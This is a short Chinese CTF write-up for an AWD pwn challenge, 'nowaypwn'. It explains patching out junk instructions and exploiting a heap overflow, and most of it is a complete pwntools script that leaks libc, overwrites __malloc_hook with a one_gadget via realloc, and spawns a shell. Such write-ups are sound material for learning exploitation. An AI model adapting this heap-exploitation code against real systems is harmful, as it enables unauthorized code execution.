决赛是早上 4 小时 awd ,下午 4 小时仿真环境渗透。
awd pwn 题目进入菜单的 xtea 加密确实头大,获取密码之后就是一个堆溢出。。。
这题也是 2021 xman 选拔赛的题目,题目名字都没有改一下。。。唯一改动是将密码换了一下,后悔当时没有复现这题了
程序里面的花指令,全部用 nop patch
1 2 3
| call $+5 add [rsp+68h+var_68], 6 retn
|
size 是 0x66 就可以溢出了:
最后需要用 realloc 调整一下栈帧才能 getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import * context.log_level = 'debug'
def add(size): p.sendline("1") p.sendline(str(size)) def delete(id): p.sendline("2") p.sendline(str(id)) def edit(id,content): p.sendline("3") p.sendline(str(id)) p.send(content) sleep(0.2) def show(id): p.sendline("4") p.sendline(str(id)) def overflow(id,content): p.sendline("3") p.sendline(str(id)) p.sendline("skye") p.send(content)
p = process("./nowaypwn") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter("name:","skye") p.sendlineafter("key:","skye") p.sendlineafter("password!:\n","skdmaje1")
add(0x66) add(0xf8) add(0x66) add(0x66) add(0x66) delete(1) overflow(0,'a'*0x70) show(0) p.recvuntil('a'*0x70) leak_addr = u64(p.recv(6).ljust(8,'\x00')) print "leak_addr:",hex(leak_addr) libc_addr = leak_addr - (0x7ffff7dd1b78-0x7ffff7a0d000) print "libc_addr:",hex(libc_addr) malloc_hook = libc_addr + libc.sym['__malloc_hook']-0x23 print "malloc_hook:",hex(malloc_hook) realloc = libc_addr + libc.sym['realloc'] print "realloc:",hex(realloc) overflow(0,'b'*0x60+p64(0)+p64(0x101)) add(0xf8)
delete(3) overflow(2,'a'*0x70+p64(malloc_hook)) overflow(2,'a'*0x60+p64(0)+p64(0x70)) add(0x66) add(0x66) edit(5,'a'*0xb+p64(libc_addr+0x4527a)+p64(realloc+4)+'\n')
''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
add(0x10) add(0x10)
p.interactive()
|